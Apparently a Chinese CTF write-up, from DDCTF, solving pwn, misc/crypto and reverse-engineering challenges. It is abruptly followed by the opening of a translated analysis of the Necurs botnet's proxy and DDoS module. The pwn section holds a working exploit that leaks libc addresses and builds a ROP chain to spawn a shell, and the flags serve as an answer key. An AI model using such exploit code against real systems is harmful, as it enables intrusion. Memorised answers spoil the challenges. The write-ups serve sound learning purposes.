.text:0804873D pop ecx
.text:0804873E pop ebx
.text:0804873F pop ebp
.text:08048740 lea esp, [ecx-4]
.text:08048743 retn
留意到程序最后`lea esp,
[ecx-4]`，那么要控制`esp`就需要控制`ecx`。而`ecx`的值为`ebp-8`处的值，那么我们需要覆盖`ebp-8`为我们可控的栈空间地址。通过漏洞一，已经知道栈地址和libc基址，可以在第二次输入的开头构造ROP，然后控制`ecx`的值为ROP地址`+4`。
p.sendlineafter('username: ','1'*0x27)
p.recvuntil('1'*0x27+'\n')
stack = u32(p.recv(4))
success(hex(stack))
libc.address = u32(p.recv(4)) - libc.sym['setbuf'] - 21
success(hex(libc.address))
p.sendlineafter('password: ','-1')
p.sendlineafter('): ',flat(libc.sym['system'],0,libc.search('/bin/sh').next()).ljust(68,'a')+p32(stack-0x4c+4))
p.recvuntil('bye!\n')
p.interactive()
### wireshark
检查http包的过程中，发现有PNG的文件头，提取图片找到一个钥匙图片，调整一下分辨率，发现底部有一个key
key:57pmYyWt
继续查找，还发现两个一样的美女傻笑图，不过有一张特别大。
然后根据跟踪http的信息，可以猜测出题人使用在线加密工具（
地址是：<http://tools.jb51.net/aideddesign/img_add_info>
），将flag隐藏在图片中，密码就是刚刚找到的key。
GET /aideddesign/img_add_info HTTP/1.1
Host: tools.jb51.net
User-Agent: curl/7.54.0
Accept: */*
使用刚才找到的较大那张美女傻笑图，用key进行解密，可以得到隐藏的信息
图片中隐藏的信息为：flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-
HEX解一下得到flag
DDCTF{QEWokcpHeUo2WOfBIN7pogIWsF04iRjt}
### 北京地铁
Color Threshold
提示：AES ECB密钥为小写字母
提示2：密钥不足位用\0补全
提示3：不要光记得隐写不看图片本身啊...
[下载地址](https://ddctf.didichuxing.com/files/493054389fbb6a9ff9924e7adf332d33/bmp.zip)
RGB LSB隐写得到密文`iKk/Ju3vu4wOnssdIaUSrg==`
秘钥需要在图片上寻找了。题目提示`Color
threshold`，所以是在颜色上做文章。经观察，魏公村站颜色与同路线略有不同，所以尝试密码`weigongcun\x00\x00\x00\x00\x00\x00`，使用AES-ECB解密，成功得到flag
from Crypto.Cipher import AES
AEScipher = AES.new('weigongcun\x00\x00\x00\x00\x00\x00',1)
print(AEScipher.decrypt('iKk/Ju3vu4wOnssdIaUSrg=='.decode('base64')))
### 联盟决策大会
为了共同的利益，【组织1】和【组织2】成立了联盟，并遵守共同约定的协议。为了让协议的制定和修改更加公平，组织1和组织2共同决定：当三位以上【组织1】成员和三位以上【组织2】成员同意时，才可以制定或修改协议。为了实现这一功能，联盟的印章被锁在密码保险柜中，而保险柜的密码只通过Shamir秘密分享方案分享给【组织1】和【组织2】的每一位成员。现在，【组织1】的【成员1】、【成员2】、【成员4】，【组织2】的【成员3】、【成员4】、【成员5】一致同意制定新的协议。请还原出这套方案的设计思路，按照这套方案的思路恢复出保险柜密码，取出印章吧！
以下为使用到的7个十六进制常数：
p =
C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
组织1成员1 =
30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A
组织1成员2 =
1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
组织1成员4 =
1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
组织2成员3 =
300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
组织2成员4 =
1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9
组织2成员5 =
9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45
应该是通过组织1的成员1，2，4 恢复出来组织1的秘钥
然后通过组织2的成员 3,4,5 恢复出来组织2的秘钥
然后将组织1和组织2的秘钥，恢复出来flag。
找到一篇文章可供参考
发挥搜索能力，然后直接找到了wiki。
直接抄[wiki](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing#Preparation)
上的代码即可
# The following Python implementation of Shamir's Secret Sharing is
# released into the Public Domain under the terms of CC0 and OWFa:
# https://creativecommons.org/publicdomain/zero/1.0/
# http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0
# See the bottom few lines for usage. Tested on Python 2 and 3.
from __future__ import division
from __future__ import print_function
import random
import functools
import libnum
# 12th Mersenne Prime
# (for this application we want a known prime number as close as
# possible to our security level; e.g. desired security level of 128
# bits -- too large and all the ciphertext is large; too small and
# security is compromised)
_PRIME = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
# 13th Mersenne Prime is 2**521 - 1
_RINT = functools.partial(random.SystemRandom().randint, 0)
def _eval_at(poly, x, prime):
'''evaluates polynomial (coefficient tuple) at x, used to generate a
shamir pool in make_random_shares below.
'''
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum
def make_random_shares(minimum, shares, prime=_PRIME):
'''
Generates a random shamir pool, returns the secret and the share
points.
'''
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points
def _extended_gcd(a, b):
'''
division in integers modulus p means finding the inverse of the
denominator modulo p and then multiplying the numerator by this
inverse (Note: inverse of A is B such that A*B % p == 1) this can
be computed via extended Euclidean algorithm
http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
'''
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y
def _divmod(num, den, p):
'''compute num / den modulo prime p
To explain what this means, the return value will be such that
the following is true: den * _divmod(num, den, p) % p == num
'''
inv, _ = _extended_gcd(den, p)
return num * inv
def _lagrange_interpolate(x, x_s, y_s, p):
'''
Find the y-value for the given x, given n (x, y) points;
k points will define a polynomial of up to kth order
'''
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p
def recover_secret(shares, prime=_PRIME):
'''
Recover the secret from share points
(x,y points on the polynomial)
'''
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime)
def main():
'''main function'''
secret, shares = make_random_shares(minimum=3, shares=6)
print('secret: ',
secret)
print('shares:')
if shares:
for share in shares:
print(' ', share)
print('secret recovered from minimum subset of shares: ',
recover_secret(shares[:3]))
print('secret recovered from a different minimum subset of shares: ',
recover_secret(shares[-3:]))
def DDCTF():
shares1=[(1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A),
(2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7),
(4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)]
shares2=[(3,0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA),
(4,0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9),
(5,0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)]
shares3=[(1,recover_secret(shares1)),(2,recover_secret(shares2))]
print(libnum.n2s(recover_secret(shares3)))
if __name__ == '__main__':
DDCTF() # DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}
### MulTzor
原文为英语，请破解
014e084dda666a631b58d361627e5a5bcc327f651f14ef7c626a17558a71627d1251d87b656a5a47d3617f681714cf7c6a6f1651ce327f651f14dd7778791f46c4324a61165dcf612b641414fd7d79611e14fd73792d337d8a66642d0851cb762b7e0f56d9666a630e5dcb7e2b6c175bdf7c7f7e5a5bcc3246620847cf3f68621e51ce32796c1e5dc53268621759df7c626e1b40c37d657e5a5bcc327f651f14eb6a627e5a44c5656e7f0914de7a6a795a5ccb762b6f1f51c4326e63195dda7a6e7f1f508a67786414538a5765641d59cb32666c195cc37c6e7e5414fe7a627e5a4dc37767691f508a7f62611340cb60722d135ade7767611353cf7c68685a43c27b68655614cb7e64631d14dd7b7f655a40c2737f2d1c46c57f2b620e5ccf602b691f57d86b7b791f508a5373640914d8736f641514cb7c6f2d0e51c6777b7f135ade77792d0e46cb7c78601347d97b646309188a656a7e5a53c3646e635a40c2772b6e1550cf7c6a601f14ff7e7f7f1b1a8a4663640914dd73782d195bc46162691f46cf762b6f0314dd7778791f46c43258780a46cf7f6e2d3b58c67b6e695a77c57f666c1450cf602b490d5dcd7a7f2d3e1a8a57627e1f5ac27d7c680814de7d2b651b42cf3269681f5a8a306f68195dd97b7d685814de7d2b7912518a5367611351ce327d641940c5607223703efe7a6e2d3f5ac375666c5a59cb7163641451d9327c6808518a732b6b1b59c37e722d15528a62647f0e55c87e6e2d195dda7a6e7f5a59cb7163641451d9327c640e5c8a60647915468a61687f1b59c87e6e7f091a8a5564621e14c5626e7f1b40c37c6c2d0a46c5716e690f46cf61272d0a46c5626e7f164d8a77656b1546c9776f215a43c56767695a5ccb646e2d1755ce772b7912518a6267781d56c57379695a71c47b6c601b14c7736865135acf327e631846cf73606c1858cf3c2b451543cf646e7f5614c77d78795a5bcc327f651f14ed7779601b5a8a7f62611340cb60722d1c5bd8716e7e5614d977687f1f408a616e7f0c5dc977782d1b5ace3268640c5dc67b6a635a55cd77656e1351d9327f651b408a6778681e14ef7c626a17558a77667d165bd3776f2d0a5bc5602b620a51d8737f6414538a6279621951ce67796809188a7365695a5dde327c6c0914de7a6e7e1f14da7d647f5a44d87d68681e41d877782d0e5ccb662b6c1658c5656e695a40c2772b48145dcd7f6a2d1755c97a62631f478a66642d18518a606e7b1f46d97726681453c37c6e680851ce326a631e14de7a6e2d195dda7a6e7f0914de7d2b6f1f14d8776a69543ea04663685a73cf60666c1414da7e7e6a185bcb606f201f45df7b7b7d1f508a5765641d59cb3269681955c7772b431b4ec3324c680859cb7c722a0914da606263195dda73672d1946d3627f625747d3617f68171a8a5b7f2d0d55d932697f155fcf7c2b6f0314de7a6e2d2a5bc67b78655a73cf7c6e7f1b588a417f6c1c528d612b4e1344c277792d3841d8776a785a5dc4324f681951c7706e7f5a05932139215a43c366632d0e5ccf326a641e14c5742b4b0851c47163200941da6267641f508a7b65791f58c67b6c681457cf32666c0e51d87b6a615a5bc8666a641451ce326d7f15598a732b4a1f46c773652d0944d33c2b4c5a59c57c7f655a56cf74647f1f14de7a6e2d1541de7079681b5f8a7d6d2d2d5bd87e6f2d2d55d83242445614cb662b6c5a57c57c6d680851c4716e2d1251c6762b631f55d8325c6c0847cb65272d0e5ccf325b62165dd97a2b4e1344c277792d3841d8776a785a47c27379681e14c366782d3f5ac375666c5756d8776a66135acd327f68195cc47b7a781f478a7365695a40cf7163631558c575722d0d5dde7a2b7912518a5479681457c2326a631e14e86062791347c23c2b490f46c37c6c2d0e5ccf324c680859cb7c2b641442cb6162621414c5742b5d1558cb7c6f215a57c5606e2d2a5bc67b78655a77c36263680814e86779681b418a626e7f095bc47c6e615a43cf606e2d1f42cb717e6c0e51ce3e2b7b13558a4064601b5ac373272d0e5b8a54796c1457cf327c651f46cf327f651f4d8a7778791b56c67b78651f508a6663685a64e932497f0f5ac53278641d5acb7e782d135ade7767611353cf7c68685a47de737f64155a8a6562791214ec606e63195c8a746a6e1358c36662680914d9677b7d1546de3c2b5e0f57c977787e1c41c63268621544cf606a79135bc4326a60155acd327f651f14fa7d676809188a6663685a72d877656e12188a7365695a40c2772b4f085dde7b78655a55de3249611f40c97a67680314fa7379665a57c57c7f641441cf762b781440c37e2b470f5acf323a344e0486327c651f5a8a54796c1457cf3278780846cf7c6f680851ce327f625a40c2772b4a1f46c773657e543ea05479621714de7a627e5a56cf756263145dc475272d0e5ccf32497f1340c361632d3d5bdc7779631751c4662b4e1550cf326a631e14e96b7b651f468a416865155bc632234a3912e941222d1b408a5067680e57c27e6e745a64cb60602d1841c37e7f2d0f448a73652d1f4cde77657e1342cf32687f0344de73656c164dde7b682d1955da736964165dde6b252d335ac366626c1658d33e2b7912518a766e6e084dda6662621414dd73782d1755c37c67745a5bcc3247781c40dd736d6b1f1482556e7f1755c4326a640814cc7d796e1f1d8a7365695a558a746e7a5a7ccf77792d5273cf60666c1414cb6066745314c777787e1b53cf61272d1b478a6663685a7fd87b6e6a0959cb6062631f1482556e7f1755c432656c0c4d83326e600a58c56b6e695a59df71632d175bd8772b7e1f57df606e2d0a46c5716e690f46cf612b6b15468a67786414538a5765641d59cb3c2b4c1655c4325f78085dc475272d1b14e973666f085dce756e2d2f5ac3646e7f095dde6b2b601b40c277666c0e5dc97b6a635a55c4762b611553c371626c14188a6279620c5dce776f2d1741c97a2b621c14de7a6e2d1546c37562631b588a666364145fc37c6c2d0e5ccb662b611f508a66642d0e5ccf326f68095dcd7c2b621c14de7a6e2d1946d3627f6c1455c66b7f641955c63269621756cf32666c195cc37c6e7e5a40c2737f2d0d51d8772b641447de607e601f5ade73672d135a8a777d681440df7367610314c8606e6c115dc4752b7912518a7c6a7b1b588a5765641d59cb3c2b451543cf646e7f5614de7a6e2d3146c3776c7e1755d87b65685a5dc46679621e41c9776f2d1b5a8a5765641d59cb327d680847c37d652d0d5dde7a2b6c5a52c56779791214d87d7f620814cc7d792d1340d9325e20185bcb6678215a46cf617e610e5dc4752b641414cb327b7f1558c57c6c681e14da77796415508a6563681414de7a6e7e1f14c777787e1b53cf612b6e1541c6762b6315408a706e2d1e51c960727d0e51ce3c2b5a1340c2327f651f14c9737b790f46cf32646b5a46cf7e6e7b1b5ade3268640a5ccf602b661f4dd9326a631e14de7a6e2d0f47cf32646b5a59df71632d1c55d9666e7f5a61f932456c0c4d8a7064601851d93e2b7f1f53df7e6a7f5614d8737b641e14d8776a69135acd32646b5a618770646c0e14c777787e1b53cf612b7f1f47df7f6e69543ea04663685a52c6736c2d134790324f493960ec693b3a1805c8263d694b50c82033354e07ce236d694d02922a326b1f559370383b07
提示原文是英文，最初的想法是通过词频来还原，写了段代码，简单统计了一下数据出现的次数，发现有159种二进制，应该不是简单的替换，猜测可能经过异或处理。此处祭出神器xortool，英文最多的必须是空格，那么以空格为参考进行爆破。
F:\hack\tools\crypto\xortool-master\xortool
λ py -2 xortool -c " " X:\tmp\MulTzor
The most probable key lengths:
3: 11.9%
6: 19.7%
9: 9.3%
12: 14.5%
15: 7.1%
18: 11.2%
21: 5.4%
24: 8.4%
30: 6.8%
36: 5.7%
Key-length can be 3*n
2 possible key(s) of length 6:
\x0b\rz4\xaa\x12
N\rz4\xaa\x12
Found 2 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
直接爆出了key，进行xor即可还原明文。
Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory.
The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures, properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read.
The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish General Staff's Cipher Bureau in December 1932, with the aid of French-supplied intelligence material obtained from a German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland, core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the British at Bletchley Park continued until June 1940, when France surrendered to the Germans.
From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army) messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes, regular, rapid reading of U-boat messages resumed.
The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}
## RE
### Windows Reverse1
**静态分析法**
使用peid进行检查，发现upx壳，`upx -d
reverse1_final.exe`进行脱壳（脱壳后的exe在win10下不能运行，XP下可以运行），直接拖入IDA进行分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-804h]
char v5; // [esp+5h] [ebp-803h]
char v6; // [esp+404h] [ebp-404h]
char Dst; // [esp+405h] [ebp-403h]
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
sub_401000(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
printf("You've got it!!%s\n", &v4);
else
printf("Try again later.\n");
return 0;
}
主函数逻辑比较简单 ，把输入的字符串调用`sub_401000`函数进行处理，然后和 `DDCTF{reverseME}` 进行比较。
unsigned int __cdecl sub_401000(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
int v4; // ebx
v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = a1 - v1;
do
{
*v1 = byte_402FF8[(char)v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}
双击跟进`byte_402FF8`发现并不存在，LXY大神的分析如下：
>
> 翻看了下PE头中.rdata和.data的定义，发现.rdata的RVA是0x2000，内存大小为0x622，.data的RVA是0x3000。也就是说虚拟地址0x402000-0x402621是.rdata段。0x402622至0x402fff为未定义的内存空间（实际上内存页大小是0x1000，所以该端内存的会被默认填充为0）。但这不妨碍我们通过0x402ff8作为基址进行内存定位。翻了下.data段立马发现从0x403018开始为一个疑似转换表。
a="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!"
base=0x402ff8
table=0x403018
b="DDCTF{reverseME}"
print ''.join([chr(a.index(b[i])+table-base) for i in range(len(b))]) # ZZ[JX#,9(9,+9QY!
**动态调试法**
根据ida反汇编的伪代码，在`strcmp(&v4, "DDCTF{reverseME}")`下断点
可以根据输入和处理结果的映射关系，逆向还原flag
### Windows Reverse2
使用peid进行检查，发现aspack壳，用`Aspack stripper`脱壳后拖入IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Dest; // [esp+8h] [ebp-C04h]
char v5; // [esp+9h] [ebp-C03h]
char v6; // [esp+408h] [ebp-804h]
char Dst; // [esp+409h] [ebp-803h]
char v8; // [esp+808h] [ebp-404h]
char v9; // [esp+809h] [ebp-403h]
v6 = 0;
memset(&Dst, 0, 0x3FFu);
v8 = 0;
memset(&v9, 0, 0x3FFu);
printf(Format);
scanf(aS, &v6);
if ( !check_hex(&v6) )
{
printf(aInvalidInput);
exit(0);
}
sub_401240(&v6, (int)&v8); // decode('hex').encode('base64')
Dest = 0;
memset(&v5, 0, 0x3FFu);
sprintf(&Dest, aDdctfS, &v8); // DDCTF{%s}
if ( !strcmp(&Dest, aDdctfReverse) ) // DDCTF{reverse+}
printf(aYouVeGotItS, &Dest);
else
printf(aSomethingWrong);
return 0;
}
程序要求输入16进制，然后经过`sub_401240`处理后与`reverse+`比较，伪代码比较难看，还是直接用动态调试吧，继续在字符串比较处下一个断点。
不难发现`sub_401240`函数将输入进行了hex解码和base64编码，直接逆向运算即可
>>> print 'EjRWeJA='.decode('base64').encode('hex')
1234567890
>>> print("reverse+".decode("base64").encode("hex").upper())
ADEBDEAEC7BE
> X:\tmp\reverse2_final.exe
input code:ADEBDEAEC7BE
You've got it !!! DDCTF{reverse+}
### Confused
void __cdecl -[ViewController checkCode:](ViewController *self, SEL a2, id a3)
{
void *v3; // rax
void *v4; // rax
void *v5; // ST18_8
void *v6; // rax
char *v7; // rax
void *v8; // rax
char *v9; // rax
void *v10; // rax
void *v11; // rax
void *v12; // [rsp+38h] [rbp-58h]
void *v13; // [rsp+40h] [rbp-50h]
__int128 v14; // [rsp+48h] [rbp-48h]
__int64 v15; // [rsp+58h] [rbp-38h]
SEL v16; // [rsp+60h] [rbp-30h]
void *v17; // [rsp+68h] [rbp-28h]
char *v18; // [rsp+70h] [rbp-20h]
__int64 v19; // [rsp+78h] [rbp-18h]
__int64 v20; // [rsp+80h] [rbp-10h]
char *v21; // [rsp+88h] [rbp-8h]
v17 = self;
v16 = a2;
v15 = 0LL;
objc_storeStrong(&v15, a3);
v3 = objc_msgSend(v17, "pwd");
v4 = (void *)objc_retainAutoreleasedReturnValue(v3);
v5 = v4;
v6 = objc_msgSend(v4, "stringValue");
v14 = (unsigned __int64)objc_retainAutoreleasedReturnValue(v6);
objc_release(v5);
if ( (unsigned __int8)objc_msgSend((void *)v14, "hasPrefix:", CFSTR("DDCTF{")) )
{
v7 = (char *)objc_msgSend((void *)v14, "length");
v8 = objc_msgSend((void *)v14, "substringFromIndex:", v7 - 1);
v13 = (void *)objc_retainAutoreleasedReturnValue(v8);
if ( (unsigned __int8)objc_msgSend(v13, "isEqualToString:", CFSTR("}")) )
{
v9 = (char *)objc_msgSend((void *)v14, "length");
v19 = 6LL;
v18 = v9 - 7;
v20 = 6LL;
v21 = v9 - 7;
v10 = objc_msgSend((void *)v14, "substringWithRange:", 6LL, v9 - 7);
v12 = (void *)objc_retainAutoreleasedReturnValue(v10);
if ( objc_msgSend(v12, "length") == (void *)18 )
{
v11 = (void *)objc_retainAutorelease(v12);
*((_QWORD *)&v14 + 1) = objc_msgSend(v11, "UTF8String");
}
objc_storeStrong(&v12, 0LL);
}
objc_storeStrong(&v13, 0LL);
}
if ( *((_QWORD *)&v14 + 1) )
{
if ( (unsigned int)sub_1000011D0(*((__int64 *)&v14 + 1)) == 1 )
objc_msgSend(v17, "onSuccess");
else
objc_msgSend(v17, "onFailed");
}
else
{
objc_msgSend(v17, "onFailed");
}
objc_storeStrong(&v14, 0LL);
objc_storeStrong(&v15, 0LL);
}
找到成功的提示，往前一个函数为判断函数。函数内首先分配内存，初始化虚拟机，最后将输入去头尾后代入虚拟机，虚拟机将读入指令中存储的数据，加二，与输入比较，如失败，跳到最后，成功则执行下条指令，逻辑同上。故将指令中字符提取如下：fcjjmWmsEmrRfcDjye。
__int64 __fastcall sub_100001C60(__int64 a1)
{
__int64 result; // rax
result = rot2(*(_DWORD *)a1, 2);
*(_DWORD *)a1 = (char)result;
++*(_QWORD *)(a1 + 24);
return result;
}
根据伪代码重写一个`rot2`函数即可
import string
a = 'fcjjmWmsEmrRfcDjye'
def rot2(s):
res = ''
for i in s:
if i in string.lowercase:
res += chr((ord(i)+2-97)%26+97)
else:
res += chr((ord(i)+2-65)%26+65)
return res
print rot2(a)
加入DDCTF{}后得到FLAG:
DDCTF{helloYouGotTheFlag}
### obfuscating macros
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v3; // al
char v4; // al
bool v5; // al
__int64 v6; // rax
char v8; // [rsp+0h] [rbp-40h]
unsigned __int64 v9; // [rsp+28h] [rbp-18h]
v9 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, a2, a3);
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v8);
sub_4069D6((__int64)&v8);
v5 = 0;
if ( v3 )
{
sub_4013E6((__int64)&v8, 10LL);
if ( v4 )
v5 = 1;
}
if ( v5 )
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "WELL DONE!");
else
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong answer");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
return 0LL;
}
有两个检查，第一个检查与第二题RE类似，就是检查是否0-9A-F，第二个检查使用了类似OLLVM的混淆，使用硬件断点跟踪输入的读取，发现在0x405FA3附近进行了读取，并且与某个值进行相减，如果相减不为0程序退出，相减为0后续还会读取输入
if ( v47 )
{
v4 = (_BYTE *)(*(_QWORD *)vm.p_input)++;// 读取输入0x12
**(_BYTE **)vm.field_10 -= *v4; // 0x79 - 0x12
if ( !v12 )
v12 = 162LL;
if ( !v47 )
在0x405FC6下断点，例如输入1234567890,第一轮比较0x79和0x12，所以将输入改为7934567890继续看第二轮的比较（或者改寄存器），重复以上步骤得到flag
.text:0000000000405FC4 mov eax, edx
.text:0000000000405FC6 sub ecx, eax
.text:0000000000405FC8 mov eax, ecx
flag: DDCTF{79406C61E5EEF319CECEE2ED8498} | 社区文章 |
# 【技术分享】Necurs僵尸网络再次肆虐，威力强大可进行DDoS攻击
|
##### 译文声明
本文是翻译文章，文章来源：anubisnetworks.com
原文地址：[http://blog.anubisnetworks.com/blog/necurs-proxy-module-with-ddos-features?hs_preview=qztxAuUY-4862144940&utm_campaign=social%20media%20news&utm_source=blog%20post%20necurs](http://blog.anubisnetworks.com/blog/necurs-proxy-module-with-ddos-features?hs_preview=qztxAuUY-4862144940&utm_campaign=social%20media%20news&utm_source=blog%20post%20necurs)
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
Necurs僵尸网络是世界上最大的恶意网络之一，曾经用于传播各种致命威胁，但是在很长一段时间内它都没有再出现过，似乎是已经消失了。然而现在，它又回来了，已知的主要功能是发送大量垃圾邮件，这里面最引人注目的是Locky勒索软件。然而，Necurs并不仅仅是一个垃圾邮件程序，它是一个模块化的恶意软件，包含了一个主僵尸网络模块、一个用户级Rootkit，并且它可以动态加载其它模块。
几年以来，已经有很多对它的研究，包括它的Rootkit([1](https://www.virusbulletin.com/virusbulletin/2014/04/curse-necurs-part-1)、[2](https://www.virusbulletin.com/virusbulletin/2014/05/curse-necurs-part-2)、[3](https://www.virusbulletin.com/virusbulletin/2014/06/curse-necurs-part-3))、[DGA](https://www.johannesbader.ch/2015/02/the-dgas-of-necurs/)、[通信协议和垃圾邮件模块](https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/)，然而，除了它的垃圾邮件模块，其它模块没有太多的公共信息。
几个月之前，我们在一些被Necurs感染的系统中注意到，Necurs除了使用常用的80通信端口以外，它还使用了一个IP集和多个不同的端口，它的通信协议似乎发生了变化，下图显示了该网络流量的示例：
最近，在Necurs僵尸网络的一个解密的C2通信数据中，我们观察到了一个请求，目的是加载两个不同的模块，每一个模块包含了不同的参数列表。下图是解密的C2服务器响应数据包：
上半部分是C2服务器对垃圾邮件模块的响应数据，这是Necurs的知名模块，参数是C2服务器的地址(链接)，可以从该地址上接收到新垃圾邮件活动的通知。下半部分是C2服务器对一个未知模块的响应数据，通过判断响应数据中的参数值，我们看到它使用了5222端口。
我们是在2016年9月注意到这个模块的，该模块的编译时间是“2016年8月23日”，这个时间表明该模块是从这个时候开始应用的。当然，也有可能相同模块的另一个版本在以前部署过，只是没有被注意到。
我们下载了该模块，并对它进行逆向分析，试图了解它到底实现了什么功能。第一眼看上去，它好像是一个简单的SOCKS/HTTP代理模块，但是当我们看到该僵尸程序可以接收C2服务器的命令时，我们意识到这是一个新添加的命令，它可以引起僵尸主机向任意目标无限循环的发送HTTP或UDF请求，这种方式只能解释为是DDOS攻击。考虑到[
**Necurs僵尸网络的规模很大**](http://blog.anubisnetworks.com/blog/monitoring-necurs-the-tip-of-the-iceberg) ，这将是非常有趣的，规模这么大的僵尸网络可能会产生强大的DDOS攻击力。
需要注意的是我们还没有看到Necurs被用于DDOS攻击，我们只是在它加载一个模块中看到了它有这种能力。
